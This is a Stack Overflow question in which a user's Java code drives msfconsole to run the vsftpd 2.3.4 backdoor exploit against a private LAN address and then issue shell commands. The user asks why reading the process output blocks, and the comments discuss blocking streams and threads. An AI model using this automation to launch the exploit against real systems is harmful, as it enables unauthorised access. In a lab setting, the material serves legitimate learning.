0

I'm trying to start msfconsole(done!), send commands to the input stream(done!), then wait for the execution(ok!), print the output(ok!) and then let the terminal be interactive with the user for launching user defined input such as whoami, ls or whatever. Can't find on stack overflow same questions or correct answers in my case. I hope somebody will help me, thanks in advance! My code:

        ProcessBuilder process = new ProcessBuilder();
        process.redirectErrorStream(true);
        Process prcs = process.command("msfconsole").start();
        
        
        OutputStream os = prcs.getOutputStream();
        BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(os));

        bw.write("use " + "exploit/unix/ftp/vsftpd_234_backdoor" + "\n");
        bw.write("set RHOSTS " + "192.168.1.40" + "\n");
        bw.write("exploit\n");
        bw.write("whoami\n");
        bw.flush();
        bw.close();
        
        InputStream is = prcs.getInputStream();
        
        BufferedReader br = new BufferedReader(new InputStreamReader(is));

        String textOut;
        //IT NEVER EXIT THIS WHILE... br.readLine() is never NULL!!!!
        while ((textOut = br.readLine()) != null) {
            System.out.println(textOut);
            //stupid wait to stop reading! it works but it's the problem
            //if(textOut.equalsIgnoreCase("root")) break;
        }
        
        /*SHOULD BE THE INTERACTIVE INPUT TERMINAL HERE... BUT IT NEVER REACHES THIS PART OF CODE
        Scanner sc = new Scanner(System.in);
        String input="";
        do {
            input = sc.nextLine();
            bw.write(input+"\n");
            bw.flush();
            
            while((textOut = br.readLine()) != null) System.out.println(textOut);
        }while(!input.equalsIgnoreCase("exit"));
        */
        prcs.waitFor();
        //sc.close();bw.close();br.close();is.close();os.close();prcs.destroy();
  • Does this answer your question? [Input/Output Stream : End of Stream?](https://stackoverflow.com/questions/20648611/input-output-stream-end-of-stream) – Hulk Feb 03 '21 at 12:36
  • @Hulk I think it's a no for me, because 1)I've already closed the input stream (bw.close()) and 2) if I can't do anything how can I workaround this problem? :CCCC Thanks for the rapid response tho! :P – Simone Tosatto Feb 03 '21 at 12:39
  • Basically, all rfead operations on all input streams are always blocking, even the most basic [InputStream.read](https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/io/InputStream.html#read()). – Hulk Feb 03 '21 at 12:41
  • Related: https://stackoverflow.com/questions/5049319/how-to-create-a-java-non-blocking-inputstream-from-a-httpsurlconnection – Hulk Feb 03 '21 at 12:44
  • so it's impossible to exit that while ?@Hulk – Simone Tosatto Feb 03 '21 at 12:45
  • Basically, yes. You can of course move the actual reading into a different thread, and query it asynchronously. A CompletableFuture might help. There are probably libraries that provide such things. But the basic mechanisms in Java are blocking. – Hulk Feb 03 '21 at 12:47
  • ok, so I need Threads. I've never used them, can you write like a general idea of the flow of my Thread? or if you are super kind write some code? thanks a lot in either cases :P uwu – Simone Tosatto Feb 03 '21 at 12:55

0 Answers0